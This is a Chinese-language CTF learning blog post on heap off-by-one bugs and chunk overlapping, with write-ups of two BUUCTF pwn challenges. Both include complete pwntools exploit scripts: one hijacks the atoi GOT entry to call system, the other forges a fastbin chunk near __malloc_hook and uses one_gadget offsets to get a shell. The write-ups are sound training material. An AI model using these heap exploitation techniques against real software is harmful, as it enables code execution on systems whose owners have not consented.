pwn的功底还很浅,仅仅是记录自己学习的一点心得体会。
后续随着学习深入,还会补知识点和题目上来。
知识点
优秀的学习资料
Chunk Extend and Overlapping | ctfwiki
一点理解
与off-by-one联系很紧密的就是上面提到的 Chunk Extend and Overlapping
也就是常说的"造堆块重叠"。
为什么要造堆块重叠?
比如我们想要改写一个chunk的头部字段,也就是prev_size和size段,直接申请肯定是改不了的。
一种思路是构造错位的fake chunk,另一种更简单的思路就是造堆块重叠,通过修改size位,使得一个大的堆块的user data部分包括了我们想要修改的小堆块的header部分。
例题
[buu] hitcontraining_heapcreator
我觉得这道题算是一个很好的了解off-by-one利用方式的一个例题。题目难度不大,利用点还是比较巧妙的。
反编译找漏洞点,
这里存在一个人为的off-by-one,而且这里可以多写一个字节。
回到题目的分配情况,
先分配了一个size为0x10的chunk来存放一些信息,后面再为content分配了一个chunk
这里gdb调试看看就很清晰
比如我 add(0x28,'0'),add(0x10,'1')后的堆块布局
可以看到我们每次add都会在低地址先malloc一个存放堆块信息的chunk,紧接着再malloc了一个存content的chunk。
然后注意到对于edit,show这些的操作都是通过堆块信息 的结构体来"索引"的,那我们想要泄露libc就可以把堆块信息的这个chunk的 *content
字段修改为某个函数的got表的地址,比如这道题就用atoi,那么show的时候就会打印出atoi_addr了。
这就涉及到前面"一点理解"那里类似的情形,我们直接无法修改这个"存放堆块信息"的chunk的内容,所以可以比较巧妙的利用off-by-one来实现堆块的extend
比如我们这么修改一下,其实就能造成堆块的扩张和重叠
下面来讲下具体的利用。
- 首先我们要修改一个"存放堆块信息"堆块的size 段。
这步可以通过这个信息堆块上面的内容堆块的off-by-one漏洞实现。 - 然后我们free掉这个信息堆块对应的chunk的index
- 这时,根据delete_heap的实现
信息堆块和内容堆块都会free,所以此时fastbins里面有0x20,0x40两个size的bin
- 此时我们add一个0x30的chunk,0x40的fastbin会被申请为内容堆块,而又会申请一个0x20的信息堆块,所以0x20的bin也会被申请回来。
- 这道题很关键的点是信息堆块决定了对应chunk的size以及内容!所以在上一步add(0x30)时就能覆写对应信息堆块的内容。这样就能把内容改为atoi的got表,show(1)就能泄露libc了。
- 由于已经改了chunk1的内容地址,那么edit(1)就能把atoi的got表的内容改为system了,再发送一个"/bin/sh\x00"就能getshell了。
当然还有些细节,比如最后提到的0x18,0x28的size选择,以及修改信息堆块内容是要预留size字段(不然最后edit没长度给你写)等等。
Exp:
python
atoi_got = elf.got['atoi']
add(0x28,'0')
add(0x10,'1')
edit(0,b'a'*0x28+b'\x41')
free(1)
debug()
add(0x30,b'a'*0x20+p64(0x10)+p64(atoi_got))
show(1)
leak = leak_address()
info_addr("atoi",leak)
atoi = leak
libcbase = atoi - libc.sym['atoi']
info_addr("libcbase",libcbase)
system = libcbase + libc.sym['system']
edit(1,p64(system))
sla("Your choice :",b"/bin/sh\x00")
p.interactive()
这道题其实还有个点很关键,也是我最开始比较疑惑的一个点。ZIKH师傅的EXP最开始的chunk0 add的是0x18,我自己实践改为0x10,0x20这些均不行,改为0x28却又可以。
调试发现,改为0x10,0x20这种的时候,我们的userdata是不会启用下一个chunk的prev_size 的。
而分配0x18,0x28这种时,ptmalloc2的机制就会复用next_chunk的prev_size段
emmm,其实归根到底就是自己对堆还是不够熟悉。毕竟只看wiki的讲解,知识点那么多,细节点也很繁杂,很难记得住。当然,实战碰到过,自己调试看一遍再理解后就好多了。
[buu] roarctf_2019_easy_pwn
题目漏洞点在这里,
当a2-a1==10这个if里面,也就是edit输入的size比add的size刚好大10的时候,存在一个off-by-one。
大致分配结构
还是用bss段存了chunk的inuse和*content
我们还是可以通过off-by-one结合0x?8的size复用prev_size的特点来伪造prev_size和size触发前向(低地址)合并
此时再free(2)就可以看到触发合并了
这时,我们再add(0x80),再show(1),其实就能打印出 main_arena+88的值了
我的理解是:这里的add(0x80)就是把unsortedbin给切分了,使得fd指针(main_arena+88)移到了可show的chunk1 段。
至此就泄露了libc的基址
后面的操作感觉涉及到很多堆块的重叠,这里就逐步调试的看。
泄露libc时的堆布局
add(0x68)
(从unsortedbin切了一块)
free(1)
(fastbin 0x70)
edit(2,p64(malloc_hook-0x23))
(这里利用了上上步申请的0x68的chunk2和刚刚free的chunk1是重叠的(chunk1在最开始申请的))
add(0x68)
(申请回chunk1,实际也是chunk2)
add(0x68)
(申请回malloc_hook-0x23处的fake_chunk)
然后就是要用realloc调整栈帧,就能getshell了。
然后本地能打通,远程打不通。
看了看ZIKH师傅的Exp,需要把本地的
realloc = libcbase + libc.sym['realloc']
改为realloc = libcbase + 0x846c0
然后还要改one_gadget的值
像这两个one_gadget有一个offset,目前不知道为什么,可能跟调整栈帧有关?(后面来学)
打本地Exp:
python
add(0x80)
add(0x68)
add(0x80)
add(0x10)
free(0)
pl = b'a'*0x60 + p64(0x100) + p8(0x90) # prev_size -> chunk0(freed) size:0x91->0x90
edit(1,0x68+10,pl)
free(2) # trigger consolidate
add(0x80)
show(1)
leak = leak_address()
info_addr("leak",leak)
libcbase = leak - 88 - 0x10 - libc.sym['__malloc_hook']
info_addr("libcbase",libcbase)
ogs = [0x45226,0x4527a,0xf03a4,0xf1247] # one_gadgets
og = ogs[1] + libcbase
malloc_hook = libcbase + libc.sym['__malloc_hook']
realloc = libcbase + libc.sym['realloc']
info_addr("malloc_hook",malloc_hook)
add(0x68)
free(1)
edit(2,8,p64(malloc_hook-0x23)) # fake_chunk
add(0x68)
add(0x68)
pl = b'a'*11 + p64(og) + p64(realloc+16)
edit(4,len(pl),pl)
add(0xFF)
p.interactive()
本地:
远程:
总结,难。